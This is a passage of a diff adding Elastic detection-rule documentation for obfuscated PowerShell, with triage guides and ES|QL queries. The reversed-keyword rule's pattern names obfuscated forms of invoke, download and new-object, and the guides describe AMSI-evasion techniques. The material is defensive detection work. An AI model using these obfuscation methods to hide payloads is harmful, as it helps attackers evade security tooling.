Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish timeline and ownership: + - Anchor the activity using `@timestamp`, then record `host.name`, `host.id`, and `agent.id`. + - Identify the execution context with `user.name`, `user.domain`, and `user.id`. Note whether the account is expected to run PowerShell on this host and whether the host is commonly used for scripting. + +- Assess the likelihood of intentional obfuscation: + - Review `Esql.script_block_pattern_count` to understand how heavily the content is fragmented. Higher counts generally increase confidence that this is deliberate obfuscation rather than incidental escaping. + - Use `powershell.file.script_block_length` as size context and review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_surprisal_stdev` to characterize the content (simple text vs. mixed/randomized payloads). + - Compare `Esql.script_block_tmp` to `powershell.file.script_block_text` to understand where obfuscation is concentrated (localized string vs. widespread token fragmentation). + +- Reconstruct complete content when split across events: + - If `powershell.total` is greater than 1, pivot on `powershell.file.script_block_id` and rebuild the script by ordering segments on `powershell.sequence`. + - Validate the reconstructed set is complete (sequence 1 through `powershell.total`). Missing segments should be treated as an investigative gap and may require additional scoping. + +- Determine script origin and delivery: + - If `file.path`, `file.directory`, and `file.name` are present, treat the script block as file-associated. Evaluate whether the location and naming are consistent with approved scripts or expected tooling for the endpoint. + - If file fields are absent, treat the script as inline or dynamically generated content and prioritize correlation by `host.id`, `user.id`, and time. + +- Normalize and interpret the script content safely: + - In a controlled analysis workflow, normalize the script by removing or correcting invalid backtick insertions so that split tokens become readable. Keep both the original and normalized versions for reporting. + - Review the normalized text for behaviors that indicate malicious intent (secondary payload retrieval, dynamic execution, decoding/decompression, data collection, persistence logic, or remote interaction). + - Extract and document indicators present in the content (network destinations, file paths/names, unique strings, or embedded encoded blobs) for scoping. + +- Correlate within PowerShell telemetry: + - Pivot on `host.id` and `user.id` to identify additional `powershell.file.script_block_text` events shortly before and after the alert time to capture staging, follow-on commands, and potential cleanup. + - Check for the same `powershell.file.script_block_id` appearing across hosts, or for repeated normalized strings, to identify automation reuse or broader activity. + +- Correlate with adjacent endpoint activity (if available in your environment): + - Review process execution around `@timestamp` on `host.name` to identify the PowerShell host process and its parent, then assess whether the launch chain aligns with expected activity for the user and endpoint. + - Review network activity around the alert time for connections that align with indicators extracted from the script content. + - Review file and registry activity around the same time window for artifacts consistent with the script (new or modified scripts, dropped files, or persistence-related changes). + - Review authentication activity associated with `user.id` around the alert time for suspicious logons or remote access that may align with script execution. + +- Scope impact: + - Search for other alerts/events with similar obfuscation characteristics on the same host and for the same user to determine whether this is a one-off execution or a repeated pattern. + - If multiple hosts are involved, prioritize investigation for critical assets and accounts with elevated privileges. + + +*False positive analysis* + + +- Legitimate scripts can contain backticks for formatting, string construction, or content generation; however, repeated invalid escape sequences embedded inside alphanumeric tokens are uncommon. Validate whether the execution context (`host.id`, `user.id`) aligns with known administrative or developer activity. +- Some commercial or internal tools intentionally obfuscate PowerShell to protect intellectual property. Confirm whether the script origin (`file.path` when present), account context, and prevalence across the environment match an approved application or workflow. +- Copy/paste artifacts and encoding transformations can introduce unexpected characters. When suspected, compare the normalized content to known-good scripts and assess whether the obfuscation is systematic (repeating across many tokens) versus localized. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected malicious: + - Contain affected host(s) to prevent further execution and lateral movement. + - Preserve evidence: reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and alert-derived fields (`Esql.script_block_tmp`, `Esql.script_block_pattern_count`, and the script block metrics). + - If `file.path` is present, collect and quarantine the referenced script and review the surrounding directory for related artifacts. + - Use indicators extracted from normalized content to scope related activity across endpoints (pivot on `host.id`, `user.id`, `file.path`, and unique strings from the script). + - Coordinate credential remediation for affected accounts when remote execution, credential material, or post-exploitation behavior is suspected. + +- If the activity is benign but requires reduction: + - Document the legitimate source (expected hosts/users and `file.path` when applicable). + - Apply narrowly scoped tuning using stable attributes available in the alert (such as `host.id`, `user.id`, and `file.path`) and continue monitoring for deviations in script content and execution context. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*`*" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """[A-Za-z0-9_-]`(?![rntb]|\r|\n|\d)[A-Za-z0-9_-]""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.name, + file.directory, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least 20 times +| where Esql.script_block_pattern_count >= 20 + +| where file.name not like "TSS_*.psm1" + // ESQL requires this condition, otherwise it only returns matches where file.name exists. + or file.name is null + +// VSCode Shell integration +| where not powershell.file.script_block_text like "*$([char]0x1b)]633*" + +| where not file.directory == "C:\\Program Files\\MVPSI\\JAMS\\Agent\\Temp" + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-reverse-keywords.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-reverse-keywords.asciidoc new file mode 100644 index 0000000000..cb92d00968 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-reverse-keywords.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-reverse-keywords]] +=== Potential PowerShell Obfuscation via Reverse Keywords + +Detects PowerShell scripts containing reversed keyword strings associated with execution or network activity (for example, ekovni, noisserpxe, daolnwod, tcejbo-wen, tcejboimw, etc.). Attackers reverse keywords and reconstruct them at runtime to hide intent and evade static detection and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Reverse Keywords* + + +This alert indicates PowerShell script block content contains multiple reversed keyword strings commonly associated with execution, string manipulation, environment discovery, or networking. Reversing strings is frequently paired with runtime reconstruction (for example, reversing character arrays or joining string fragments) to reduce readability and evade simple content inspection. + +Determine whether the script is part of expected administrative automation, software tooling, or an unauthorized execution chain. Prioritize analysis that reconstructs the full script, deobfuscates the reversed tokens, and identifies any follow-on behaviors such as dynamic execution, network access, or system discovery. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Identify the execution scope and ownership: + - Review `host.name` / `host.id` to confirm the affected endpoint and its criticality. + - Review `user.id` (and `user.name` / `user.domain` if available) to understand the account context and whether this user is expected to run PowerShell on this host. +- Prioritize based on obfuscation signals: + - Review `Esql.script_block_pattern_count`; higher counts suggest more extensive keyword hiding and can increase suspicion. + - Use `powershell.file.script_block_length`, `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_surprisal_stdev` to gauge how heavily obfuscated or machine-generated the content may be (treat these as supporting context, not proof of maliciousness). +- Reconstruct the full script content when split: + - If `powershell.total` is greater than 1, retrieve all events with the same `powershell.file.script_block_id` and order them by `powershell.sequence` to rebuild the complete script block content. + - Preserve both the reconstructed script and the original per-event `powershell.file.script_block_text` to maintain context and ordering. +- Deobfuscate and interpret intent: + - Review `powershell.file.script_block_text` for reversed tokens and reverse them to identify the intended keywords and operations (for example, indicators of dynamic execution, downloads, socket/connection handling, WMI usage, or Win32 references). + - Look for runtime string reconstruction patterns in the script content (for example, joins, character array operations, or replace operations) that turn reversed fragments into executable commands or parameters. + - Use `Esql.script_block_tmp` to quickly locate the matched areas, then validate findings against `powershell.file.script_block_text`. +- Evaluate file-origin context (when present): + - Review `file.path` (and `file.directory` / `file.name` if available) to determine whether the script is associated with an on-disk file and whether that location aligns with your organization's expected script locations and deployment practices. + - If an on-disk script is indicated, coordinate collection of the referenced file for offline analysis and determine whether it is present on other systems. +- Extract and operationalize indicators: + - From `powershell.file.script_block_text`, extract any embedded indicators such as hostnames, IP addresses, URLs, ports, file paths, or encoded blobs. + - Use extracted indicators to scope for related activity on the same `host.id` and across other hosts where the same `user.id` is active, focusing on the alert timeframe and immediately adjacent activity. +- Correlate with adjacent telemetry to identify the execution chain and impact (as available in your environment): + - Process activity: identify the PowerShell host process and the initiating parent process to understand whether execution was interactive, scheduled, or launched by another program. + - Network activity: look for outbound connections aligned with the alert timestamp, especially if deobfuscated content suggests downloads or socket connections. + - File and registry activity: look for payload staging, new or modified files, or persistence-related changes that occur shortly after the script block execution. + - Authentication activity: review for suspicious logons, remote session creation, or lateral movement attempts around the same time on the affected host. +- Determine severity and next actions: + - If the deobfuscated content indicates remote retrieval, execution of downloaded content, credential access, persistence, or lateral movement, treat the alert as potentially malicious and escalate for response. + - If the script appears benign, document the validated purpose, expected owner, and any recurring identifiers (such as file location patterns) to support future triage. + + +*False positive analysis* + + +- Internal scripts or tooling may use reversed strings as lightweight obfuscation to conceal configuration values or reduce casual readability. Validate the script's ownership, change history, and whether its presence and execution timing are expected for `host.id` and `user.id`. +- Commercial software, endpoint management agents, or security tooling may generate or embed obfuscated PowerShell during installation, updates, or health checks. Validate whether the activity aligns with known maintenance windows, expected endpoints, and consistent script content and `file.path` patterns. +- Authorized security testing may intentionally use string reversal. Confirm the scope, timing, and target hosts with the appropriate stakeholders before closing the alert. + + +*Response and remediation* + + +- If activity is suspicious or unauthorized, contain the affected host to prevent further script execution and potential follow-on actions. +- Preserve evidence: + - Retain the full `powershell.file.script_block_text` (including all segments reconstructed via `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`). + - Retain `file.path` context and the alert metadata needed to pivot (such as `host.id` and `user.id`). +- Identify and remediate the execution source: + - Determine how PowerShell was launched (interactive, scheduled, or by another process) using correlated telemetry, and remove the triggering mechanism. + - If an on-disk script is involved, remediate the file at `file.path` and any associated payloads or artifacts identified during analysis. +- Scope and hunt: + - Search for the same or similar obfuscated content and extracted indicators across other endpoints, prioritizing systems accessed by the same `user.id` and systems with similar `file.path` patterns. +- Account actions: + - If account misuse is suspected, follow organizational procedures to contain the account (for example, credential reset and session revocation) and review recent activity for additional suspicious behavior. +- Recovery and hardening: + - Verify PowerShell logging coverage and retention are sufficient for incident response, and monitor for recurrence of similar reversed-keyword patterns on affected hosts and users. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter for scripts that contains these keywords using MATCH, boosts the query performance, +// match will ignore the | and look for the individual words +| where powershell.file.script_block_text : "rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman|vne|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)(rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman\.|:vne$|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod)""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least twice +| where Esql.script_block_pattern_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-special-character-overuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-special-character-overuse.asciidoc new file mode 100644 index 0000000000..61c86e175c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-special-character-overuse.asciidoc @@ -0,0 +1,235 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-special-character-overuse]] +=== Potential PowerShell Obfuscation via Special Character Overuse + +Detects PowerShell scripts dominated by whitespace and special characters with low symbol diversity, a profile often produced by formatting or encoding obfuscation. Attackers use symbol-heavy encoding or formatting (for example, SecureString-style blobs or character-level transforms) to hide payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Special Character Overuse* + + +This rule flags PowerShell script block content that is unusually long and dominated by whitespace and a narrow set of special characters. This profile is often associated with formatting or encoding obfuscation where payload logic is transformed into symbol-heavy strings and reconstructed at runtime. Use the steps below to validate execution context, reconstruct full content, determine likely intent, and scope related activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_ratio`: Proportion of the script block's characters that match the alert's target character set, divided by total script length (0-1). +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review alert context and scope: + - Use `@timestamp` to identify when the activity occurred and to bound the timeline for correlation. + - Review `host.name` and `host.id` to understand which endpoint produced the script block. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host. + - If multiple alerts are present, group by `host.id` and `user.id` to identify concentrated or repeat activity. + +- Analyze the script block content for obfuscation and intent: + - Inspect `powershell.file.script_block_text` to understand what is being executed. Obfuscation commonly presents as large blocks of escaped characters, excessive punctuation, and character-level reassembly. + - Use `Esql.script_block_tmp` to quickly locate symbol-dense regions, then interpret the corresponding content in `powershell.file.script_block_text`. + - Use `Esql.script_block_ratio`, `powershell.file.script_block_unique_symbols`, `powershell.file.script_block_entropy_bits`, and `powershell.file.script_block_surprisal_stdev` to gauge how atypical the content is compared to known-good scripts in your environment. + - Identify deobfuscation and runtime execution patterns such as repeated string replacement, concatenation, `[char]` casting, `-join`, formatting operators, reflection, and dynamic invocation (for example, `Invoke-Expression` or executing decoded strings). + - Capture any embedded indicators from `powershell.file.script_block_text`, including URLs, hostnames, IP addresses, file paths, registry paths, or scheduled task/service names. + +- Reconstruct full script content when logged in chunks: + - If `powershell.total` indicates multiple fragments, pivot on `powershell.file.script_block_id` and reassemble the script in `powershell.sequence` order. + - Confirm completeness by comparing observed fragments to `powershell.total`. Missing segments can hide key decode or execution stages. + +- Validate script origin and expected usage: + - Review `file.path`, `file.directory`, and `file.name` (when present) to determine whether the script originated from disk, a module path, or an unusual location. + - If the script is file-backed, assess whether the file location and naming are consistent with approved administration and automation practices for the host and user. + +- Scope for related PowerShell activity: + - Pivot on `powershell.file.script_block_hash` (when available) to identify repeated executions of the same content across hosts and users. + - Review additional script blocks on the same `host.id` and `user.id` around the alert time for staging behavior (variable setup, decoding routines, or creation of additional script blocks). + - Use stable substrings from `powershell.file.script_block_text` (unique function names or strings) to find related executions that may not match this specific obfuscation profile. + +- Correlate with adjacent telemetry to confirm execution chain and impact (if available): + - Use `host.id`, `user.id`, and `@timestamp` to pivot into process telemetry and determine which process initiated PowerShell and whether the parent process is expected. + - Review activity on the same host around the alert time for signs of follow-on behavior such as outbound connections, file creation/modification, registry changes, or persistence mechanisms consistent with the recovered script logic. + + +*False positive analysis* + + +- Legitimate automation can embed large protected or serialized values (for example, encrypted configuration blobs or SecureString exports) that appear symbol-heavy. +- Deployment and configuration tooling may generate templated PowerShell with extensive escaping or large here-strings, especially when embedding JSON/XML or code as data. +- Authorized security testing may use obfuscation techniques that resemble this behavior. +- To validate a benign source, confirm the script's provenance and repeatability: + - Check whether `file.path` (when present) and `powershell.file.script_block_hash` consistently map to an approved script, owner, and expected execution pattern. + - Compare the alerting `user.id` and `host.id` against known automation accounts and managed endpoints; unexpected combinations warrant escalation. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host according to your incident response procedures to prevent additional execution and lateral movement. + - Preserve evidence for triage and forensics, including `powershell.file.script_block_text` (and any reconstructed content), `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `powershell.file.script_block_hash` (if available), `file.path` (if present), and the execution context (`host.name`, `host.id`, `user.name`, `user.domain`, `user.id`, `agent.id`, `@timestamp`). + - Scope the activity by searching for the same `powershell.file.script_block_hash` and any extracted indicators across the environment. + - Identify and remediate follow-on actions associated with the script (downloaded payloads, dropped files, persistence changes, or credential access). Apply blocking controls for confirmed indicators where feasible. + - If the script content indicates credential material handling or unauthorized automation, rotate affected credentials and review account activity for misuse. + +- If the activity is determined to be benign: + - Document the script owner, purpose, and expected execution context (hosts, users, and schedule), using `file.path` and `powershell.file.script_block_hash` (when available) as stable identifiers. + - Monitor for drift, such as execution by different users/hosts, unexpected file paths, or material changes in the script block content. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// filter for scripts with low unique symbol counts, which can indicate special character obfuscation +| where powershell.file.script_block_unique_symbols < 50 + +// replace repeated spaces used for formatting after a new line with a single space to reduce FPs +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\n\s+""", "\n ") + +// Look for scripts with more than 1000 chars +| eval Esql.script_block_length = length(Esql.script_block_tmp) +| where Esql.script_block_length > 1000 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + Esql.script_block_tmp, + """[\s\$\{\}\+\@\=\(\)\^\\\"~\[\]\?\./%#\`\'\;\-\!\*]""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, "🔥", "")) + +// Calculate the ratio of special characters to total length +| eval Esql.script_block_ratio = Esql.script_block_count::double / Esql.script_block_length::double + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_count, + Esql.script_block_length, + Esql.script_block_ratio, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts with high whitespace and special character ratio +| where Esql.script_block_ratio >= 0.75 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-concatenation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-concatenation.asciidoc new file mode 100644 index 0000000000..32c62417eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-concatenation.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-concatenation]] +=== Potential PowerShell Obfuscation via String Concatenation + +Detects PowerShell scripts that repeatedly concatenate multiple quoted string literals with + to assemble commands or tokens at runtime. Attackers use string concatenation to fragment keywords or URLs and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell Obfuscation via String Concatenation* + + + +*Possible investigation steps* + + +- What does the alert-local summary show about the concatenation pattern and where it appears in the preserved script block? + - Focus: alert-local `Esql.script_block_pattern_count`, `Esql.script_block_length`, `Esql.script_block_tmp`, and `powershell.file.script_block_text`. + - Implication: escalate sooner when repeated matches sit near execution, download, decode, or persistence logic; lower suspicion when they resolve to inert configuration or output text, but do not close until the full script block and origin are checked. +- Is the full script block reconstructed before interpretation? + - Focus: source 4104 events in logs-windows.powershell_operational* for `host.id` and `powershell.file.script_block_id`, ordered by `powershell.sequence` against `powershell.total`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when fragments add hidden stages, payload material, or omitted execution context; missing sequence fragments are unresolved because omitted text may contain the decisive string use. +- What do the concatenated strings reconstruct to, and do they feed execution? + - Focus: reconstructed `powershell.file.script_block_text`, quoted fragments around each match, and statistical cues from `powershell.file.script_block_entropy_bits` and `powershell.file.script_block_surprisal_stdev`. + - Implication: escalate when strings reveal fragmented keywords, URLs or domains, paths, registry keys, encoded blobs, .NET reflection names, or decode inputs feeding invocation, download, file write, or persistence; lower suspicion when they remain inert data construction inside one stable script pattern. +- Does the source event and origin context explain who ran the script and from where? + - Focus: recovered `file.path`, `user.id`, and `host.id`, plus whether `file.path` is absent. + - Hint: absent `file.path` after source-event recovery reduces origin provenance because the script may be interactive, pasted, or memory-only; require stronger corroboration before benign closure. + - Implication: escalate when execution is fileless or from temp, downloads, profiles, mounted shares, or other user-writable locations under an unexpected identity; lower suspicion only when origin, user, host, and string use match one recognized automation or build workflow. +- If endpoint process telemetry is available, does launch context support benign automation or abuse? + - Focus: recover `process.pid` from the 4104 event, then match `host.id` and the alert window in endpoint process-start events for `process.entity_id`, `process.command_line`, and `process.parent.executable`. !{investigate{"description":"","label":"Process start events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: anchor process starts to `@timestamp`; if PID reuse creates multiple or distant matches, 